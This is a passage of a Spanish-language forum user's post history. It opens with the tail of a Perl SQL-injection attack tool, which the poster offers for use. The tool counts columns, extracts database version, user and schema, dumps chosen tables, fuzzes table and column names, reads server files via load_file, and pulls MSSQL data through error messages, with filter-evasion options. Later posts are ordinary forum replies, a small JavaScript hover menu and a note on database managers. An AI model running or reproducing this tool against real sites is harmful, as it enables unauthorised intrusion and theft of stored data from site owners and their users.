}
elsif ($fuzz =~ m/ODBC SQL Server Driver/i)
{
print "[!] MsSQL Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{ 
push (@mssqlvuln,"$scan_url\n");
}
}
elsif ($fuzz =~ m/Microsoft JET Database/i || $fuzz =~ m/ODBC Microsoft Access Driver/i )
{
print "[!] MS Access Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{ 
push (@accessvuln,"$scan_url\n");
}
}
}
 
sub mysqlcount
{
my $site = $_[0];
my $ev = $_[1];
my $null = "09+and+1=" ;
my $code = "0+union+select+" ;
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
my $injection = $site.$null.$code."0",$com ;
my $useragent = LWP::UserAgent->new();
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->get($injection);
my $result = $response->content;
if( $result =~ m/You have an error in your SQL syntax/i || $result =~ m/Query failed/i || $result =~ m/SQL query failed/i || $result =~ m/mysql_fetch_/i || $result =~ m/mysql_fetch_array/i || $result =~ m/mysql_num_rows/i || $result =~ m/The used SELECT statements have a different number of columns/i )
{
print "\n[!] This Website Is Vulnerable\n" ;
print "[+] Working On It\n";
}
else
{
print "\n[!] This WebSite Is Not SQL Vulnerable !\n";
exit();
}
for ($i = 0 ; $i < 100 ; $i ++)
{
$col.=','.$i;
$specialword.=','."0x617a38387069783030713938";
if ($i == 0)
{
$specialword = '' ; 
$col = '' ;
}
$sql=$site.$null.$code."0x617a38387069783030713938".$specialword.$com ;
$ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
$rq = $ua->get($sql);
$response = $rq->content;
if($response =~ /az88pix00q98/)
{
$i ++; 
print "\n[!] MySQL Column Count Finished\n" ;
print "[!] This WebSite Have $i Columns\n" ;
$sql=$site.$null.$code."0".$col.$com ;
print "=> ".$sql ."\n\n"; 
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "Target Host : $site\n";
print vuln_file "Evasion : $ev\n";
print vuln_file "Col length : $i\n";
print vuln_file "Injection : $sql\n";
close(vuln_file);
print "[+] Result Saved to $vulnfile\n";
}
exit () ; 
} 
}
}
 
sub mysqldetails
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,version(),0x617a38387069783030713938,database(),0x617a38387069783030713938,user(),0x617a38387069783030713938)";
print "\n[+] Info Getting, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
my $newlink = $1.$selection.$2.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newlink);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
{
print "[!] Database Version : $1\n";
print "[!] Database Name : $2\n"; 
print "[!] DB UserName : $3\n"; 
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Database Version : $1\n";
print vuln_file "[!] Database Name : $2\n";
print vuln_file "[!] DB UserName : $3\n";
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
exit () ; 
}
else
{
print "[!] Failed\n";
exit () ; 
}
}
else 
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ; 
}
}
 
sub mysqlschema
{
my $site = $_[0];
my $ev = $_[1];
my @schema=();
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,column_name,0x617a38387069783030713938,table_name,0x617a38387069783030713938,table_schema,0x617a38387069783030713938)";
print "\n[+] Schema Extracting, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Column :|: Table :|: Database\n"; 
for ($i=0; $i<=1500 ; $i++ )
{
$newstring = $1.$selection.$2.$add.'from'.$add.'information_schema.columns'.$add.'LIMIT'.$add.$i.','.'1'.$com;
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98(.*)az88pix00q98(.*)az88pix00q98/)
{ 
print "[!] $1 :|: $2 :|: $3 \n";
push (@schema,"$1 :|: $2 :|: $3 \n");
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Schema :: ---- \n\n\n";
$i=0;
foreach(@schema)
{
print vuln_file $schema[$i]."\n";
$i++;
}
print "\n[+] Result Saved to $vulnfile\n";
}
}
else 
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ; 
}
}
 
sub mysqldump
{
my $site = $_[0];
my $colm = $_[1];
my $tble = $_[2];
my $ev = $_[3];
print "[+] Table name $tble\n";
print "[+] Column name $colm\n";
my @dumper=();
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
my $selection = "concat(0x617a38387069783030713938,$colm,0x617a38387069783030713938)";
print "\n[+] Data Dump Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
$i=0;
print "[+] Dumped Data : //// \n"; 
do
{
$newstring = $1.$selection.$2.$add.'from'.$add.$tble.$add.'LIMIT'.$add.$i.','.'1'.$com; 
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98(.*)az88pix00q98/)
{ 
print "[!] $1 \n";
push(@dumper,"$1\n");
}
$i++;
}
while ($i<1500);
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Dumped Column : $colm\n";
print vuln_file "[!] Dumped Table : $tble\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@dumper)
{
print vuln_file $dumper[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else 
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ; 
}
}
 
sub mysqlfuzztable
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
print "[+] File List $filelst\n";
my @tbles_possible=();
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] Fuzzing Table, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : //// \n\n";
$i=0; 
foreach (@word_list_search)
{
print "[!] Trying To Fuzz Table_name with $word_list_search[$i]";
$newstring = $1."0x617a38387069783030713938".$2.$add.'from'.$add.$word_list_search[$i].$com; 
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98/)
{ 
print "\n[!] Found Table ! $word_list_search[$i] \n";
push(@tbles_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Tbles Found :: ---- \n\n\n";
$i=0;
foreach(@tbles_possible)
{
print vuln_file $tbles_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else 
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ; 
}
}
 
sub mysqlfuzzcolumn
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
my $tablext = $_[3];
print "[+] File List $filelst\n";
print "[+] Table To Fuzz Columns $tablext\n";
my @cols_possible=();
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] Fuzzing Column, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : //// \n\n";
$i=0; 
foreach (@word_list_search)
{
print "[!] Trying To Fuzz Column_name with $word_list_search[$i]";
$newstring = $1."concat(0x617a38387069783030713938,$word_list_search[$i])".$2.$add.'from'.$add.$tablext.$com; 
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
if ($content =~ /az88pix00q98/)
{ 
print "\n[!] File Column ! $word_list_search[$i] \n";
push(@cols_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Cols Found :: ---- \n\n\n";
$i=0;
foreach(@cols_possible)
{
print vuln_file $cols_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else 
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ; 
}
}
 
sub mysqlfile
{
my $site = $_[0];
my $ev = $_[1];
my $filelst = $_[2];
print "[+] File List $filelst\n";
my @cols_possible=();
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
open (word_list_file,"$filelst") or die "[!] Couldnt Open WordList File $!\n";
@word_list_search = <word_list_file> ;
print "\n[+] File Fuzz, Started Please Wait ....\n\n";
if ($site =~ /(.*)NullArea(.*)/i)
{
print "[+] Fuzz Result : //// \n\n";
$i=0; 
foreach (@word_list_search)
{
$newstring = $1."concat(0x617a38387069783030713938,load_file('$word_list_search[$i]'))".$2.$com; 
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $ua->get($newstring);
my $content = $request->content;
print "[!] Trying To Fuzz Load_File with $word_list_search[$i]";
if ($content =~ m/az88pix00q/i)
{ 
print "\n[!] Found File ! $word_list_search[$i] \n";
push(@cols_possible,"$word_list_search[$i]\n");
}
$i++;
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Wordlist : $filelst\n";
print vuln_file "[!] Files Found :: ---- \n\n\n";
$i=0;
foreach(@cols_possible)
{
print vuln_file $cols_possible[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
else 
{
print "[+] Please Enter the target this way :\n http://target.net/page.php?id=0+union+select+1,2,nullarea,3\n";
exit () ; 
}
}
 
sub mssqldetails
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
print "\n[+] Getting Infos, Started Please Wait ....\n\n";
$version = "convert(int,(select".$add."\@\@version));--" ;
$system_user = 'convert(int,(select'.$add.'system_user));--';
$db_name = 'convert(int,(select'.$add.'db_name()));--';
$servername = 'convert(int,(select'.$add.'@@servername));--' ;
my $injection = $site.$version ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
if ($response =~ /.*?values'/)
{
print "[+] This Website Is SQL Vulnerable ..\n";
print "[+] Working On It ..\n";
$ver = $1 if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) ;
print "\n[!] MsSQL Version Is :";
print "\n\n => $ver" ;
my $injection = $site.$system_user ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$system_user = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL System_User Is :";
print " $system_user " ;
my $injection = $site.$db_name ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$db_name = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL Database Name Is :";
print " $db_name " ; 
my $injection = $site.$servername ;
my $request = HTTP::Request->new(GET=>$injection);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request)->as_string ;
$servername = $1 if ($response =~ /.*value\s'(.*)'\sto.*/);
print "\n[!] MsSQL Server Name Is :";
print " $servername " ; 
exit (); 
}
else 
{
system ("cls");
print "\n[!] This Website Is Not SQL Vulnerable !";
exit();
}
}
 
sub mssqltable
{
my $site = $_[0];
my $ev = $_[1];
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables));--";
$data = "'Ws65qd798sqd9878'";
print "[!] Tables : //// \n\n"; 
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
{
print "[+] ".$1."\n";
push (@exttbles,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."table_name".$add."from".$add."information_schema.tables".$add."where".$add."table_name".$add."not".$add."in".$add."$total));--"; 
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@exttbles)
{
print vuln_file $exttbles[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
 
sub mssqlcolumn
{
my $site = $_[0];
my $ev = $_[1];
my $tblextrct = $_[2];
print "[+] Table To Extract From $tblextrct\n";
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$data = "'Ws65qd798sqd9878'";
$table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."($data)"."));--";
print "[!] Columns : //// \n\n"; 
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?values'(.*?)'sto.*/sm)
{
print "[+] ".$1."\n";
push (@extcols,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."$total"."));--"; 
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@extcols)
{
print vuln_file $extcols[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
 
sub mssqldump
{
my $site = $_[0];
my $ev = $_[1];
my $tblextrct = $_[2];
my $colmextrct = $_[3];
print "[+] Table : $tblextrct\n";
print "[+] Column : $colmextrct\n";
if ($ev eq '/*') 
{$add = "/**/" ; $com = "/*";}
elsif ($ev eq '%20') 
{$add = "%20" ; $com = "%00" ;}
else 
{$add = '+' ; $com ='--';}
print "\n[+] Table Extracting, Started Please Wait ....\n\n";
$data = "'Ws65qd798sqd9878'";
$table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."($data)"."));--";
print "[!] Columns : //// \n\n"; 
for ($i;$i<1500;$i++)
{
my $injection = $site.$table ;
my $useragent = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $request = $useragent->get($injection);
my $response = $request->content;
if ($response =~ /.*?values'(.*?)'sto.*/sm)
{
print "[+] ".$1."\n";
push (@dumpdata,$1);
$start = "(";
$data .= ",'$1'";
$end = ")";
$total = $start.$data.$end;
$table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."$total"."));--";
}
}
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file "[!] Target : $site\n";
print vuln_file "[!] evasion : $ev\n";
print vuln_file "[!] Data :: ---- \n\n\n";
$i=0;
foreach(@dumpdata)
{
print vuln_file $dumpdata[$i]."\n";
$i++;
}
close(vuln_file);
print "\n[+] Result Saved to $vulnfile\n";
}
}
 
variables();
main();
 
if (defined($search_dork))
{
print "[+] Vulnerability Scan\n" ;
print "[+] Dork : $search_dork\n\n\n" ;
vulnscanner();
if (defined($vulnfile))
{
open(vuln_file,">>$vulnfile") ;
print vuln_file @mysqlvuln;
print vuln_file @mssqlvuln;
print vuln_file @accessvuln;
close(vuln_file);
print "[+] Result Saved to $vulnfile\n";
exit();
}
} 
 
if (defined($mysql_count_target))
{
print "[+] MySQL Column Counter\n\n" ;
print "[+] Target : $mysql_count_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlcount($mysql_count_target,$evasion);
}
 
if (defined($mysql_details_target))
{
print "[+] MySQL database details\n\n" ;
print "[+] Target : $mysql_details_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqldetails($mysql_details_target,$evasion);
}
 
if (defined($mysql_schema_target))
{
print "[+] MySQL Schema Extractor details\n\n" ;
print "[+] Target : $mysql_schema_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlschema($mysql_schema_target,$evasion);
}
 
if (defined($mysql_dump_target))
{
if (!defined($sql_dump_column))
{
print "[!] Please Defind At Least A Column\n";
exit();
}
elsif (!defined($sql_dump_table))
{
print "[!] Please Defind Table Name\n";
exit();
}
else
{
print "[+] MySQL Data Dumper details\n\n" ;
print "[+] Target : $mysql_dump_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqldump($mysql_dump_target,$sql_dump_column,$sql_dump_table,$evasion);
} 
}
 
if (defined($mysql_fuzz_table))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
} 
else
{
print "[+] MySQL Tables Fuzzer\n\n" ;
print "[+] Target : $mysql_fuzz_table\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
} 
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfuzztable($mysql_fuzz_table,$evasion,$word_list); 
}
}
 
if (defined($mysql_fuzz_column))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
} 
elsif(!defined($sql_dump_table))
{
print "[!] Please Define A Table To Fuzz it's Columns\n";
exit();
} 
else
{
print "[+] MySQL Columns Fuzzer\n\n" ;
print "[+] Target : $mysql_fuzz_column\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
} 
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfuzzcolumn($mysql_fuzz_column,$evasion,$word_list,$sql_dump_table); 
}
}
 
if (defined($mysql_load_file))
{
if(!defined($word_list))
{
print "[!] Please Define A list of tables to load\n";
exit();
} 
else
{
print "[+] MySQL Load_File Fuzzer\n\n" ;
print "[+] Target : $mysql_load_file\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
} 
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mysqlfile($mysql_load_file,$evasion,$word_list); 
}
}
 
if (defined($mssql_details_target))
{
print "[+] MsSQL DB Details\n\n" ;
print "[+] Target : $mssql_details_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqldetails($mssql_details_target,$evasion); 
}
 
if (defined($mssql_table_target))
{
print "[+] MsSQL Tables Extractor\n\n" ;
print "[+] Target : $mssql_table_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
}
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqltable($mssql_table_target,$evasion); 
}
 
if (defined($mssql_column_target))
{
if(!defined($sql_dump_table))
{
print "[!] Please Defind At Least A Table do Extract from\n";
exit();
}
else
{
print "[+] MsSQL Columns Extractor\n\n" ;
print "[+] Target : $mssql_column_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
} 
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqlcolumn($mssql_column_target,$evasion,$sql_dump_table); 
}
}
 
if (defined($mssql_dump_target))
{
if(!defined($sql_dump_table))
{
print "[!] Please Defind At Least A Table\n";
exit();
}
elsif(!defined($sql_dump_column))
{
print "[!] Please Defind At Least A Column\n";
exit();
}
else
{
print "[+] MsSQL Data Dumper\n\n" ;
print "[+] Target : $mssql_dump_target\n" ;
if ($evasion eq '/*')
{
print "[+] Evasion : /**/\n" ;
}
elsif ($evasion eq '%20')
{
print "[+] Evasion : %20\n" ;
} 
else
{
print "[+] Evasion : --\n" ;
$evasion = "--"
}
mssqldump($mssql_dump_target,$evasion,$sql_dump_table,$sql_dump_column); 
}
} 


Espero que os sirva!:O

Saludos
#75
Dudas y pedidos generales / Re:Solicitud de Subforo
Enero 21, 2011, 04:03:50 PM
Jajaja se, algo es algo. ^^

Espero que te sirva cuidate.
#76
Dudas y pedidos generales / Re:Solicitud de Subforo
Enero 21, 2011, 03:20:19 PM
Th3xin0x echale un vistazo a esto:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos!
#77
Dudas y pedidos generales / Re:Solicitud de Subforo
Enero 21, 2011, 02:40:27 PM
Creo que no hace falta la verdad, ya que todo lo relacionado con Vuln Web y demas esta en :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos
#78
Zona Webmaster / [JavaScript][MEDIO] Menu 'Mac' en Javascript
Enero 21, 2011, 11:54:30 AM
Bueno hace unos minutos estaba programando cositas rapidas y pequeñas para llenar un poco las secciones de programacion web, y se me ocurrio esto jeje, como ya sabeis la barra de S.O mac cuando tu pones el cursor encima de una imagen se hace mas grande, cierto?

Pues lo mismo e echo en php y en js, quedaos con el codigo el diseño es nulo solo queria mostrar el diseño.

Código: javascript

<html>
<head>
<title>Menu 'MAC' eDeex</title>
<style type="text/css">
#Menu{ width:1000px; height:60px; float:left; text-align:center; margin:0 auto; }
.Botones { width:150px; height:40px; float:left }
</style>
<script type="text/javascript">
function menu(id,ancho,alto)
{
	document.getElementById(id).width=ancho;
	document.getElementById(id).height=alto;
}
</script>
</head>
<body>
<div id="Menu">
<a class="Botones" href="#" onmouseout="menu('edeex','150','40');" onmousemove="menu('edeex','160','50');">
<img id="edeex" src="img/edeex.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('google','150','40');" onmousemove="menu('google','160','50');">
<img id="google" src="img/google.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('underc0de','150','40');" onmousemove="menu('underc0de','160','50');">
<img id="underc0de" src="img/underc0de.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('zone','150','40');" onmousemove="menu('zone','160','50');">
<img id="zone" src="img/zone-h.png" border="0" width="150" height="40" />
</a>
<a class="Botones" href="#" onmouseout="menu('mac','150','40');" onmousemove="menu('mac','160','50');">
<img id="mac" src="img/mac.png" border="0" width="150" height="40" />
</a>
</div>
</body>
</html>



Comentarme que tal! Quiero decir que tambien se puede hacer con hojas de estilo con "hover", espero que os guste.

Saludos
#79
Base de Datos / Re:Gestores de Base de Datos. [Navicat & MySQL Front]
Enero 20, 2011, 07:49:04 PM
:O! Hola deviill! cuanto tiempo! Si bueno hace 1 o 2 dias que estoy usando SQL Front y la verdad es mucho mejor que Navicat, sobretodo en la hora de buscar registros y demas. Y si menos mal que es gratis ^^.

Saludos!
#80
Base de Datos / Gestores de Base de Datos. [Navicat & MySQL Front]
Enero 20, 2011, 07:39:28 PM
¿Que es Navicat?
El software es un programa de mantenimiento y consulta de bases de datos, es compatible con sistemas libres como mySQL u otros como Oracle, que tiene como bandera su simplicidad de uso respecto a un programa de mantenimiento pesados y complejos.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



¿Que es MySQL-Front?
MySQL-Front es una sencilla pero útil aplicación diseñada especialmente para desarrolladores que trabajan con MySQL.

Desde el primer momento en el que empiezas a usar este administrador descubres su facilidad para obtener información sobre las bases de datos, tanto de sus tablas como de su estructura y contenido.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Bueno la verdad solo e usado Navicat, el MySQL-Fron me han dicho que tambien es muy bueno, yo sinceramente prefiero gestionar mis bases de datos via phpMyadmin :P.

Saludos
Páginas 1 2 3 4 5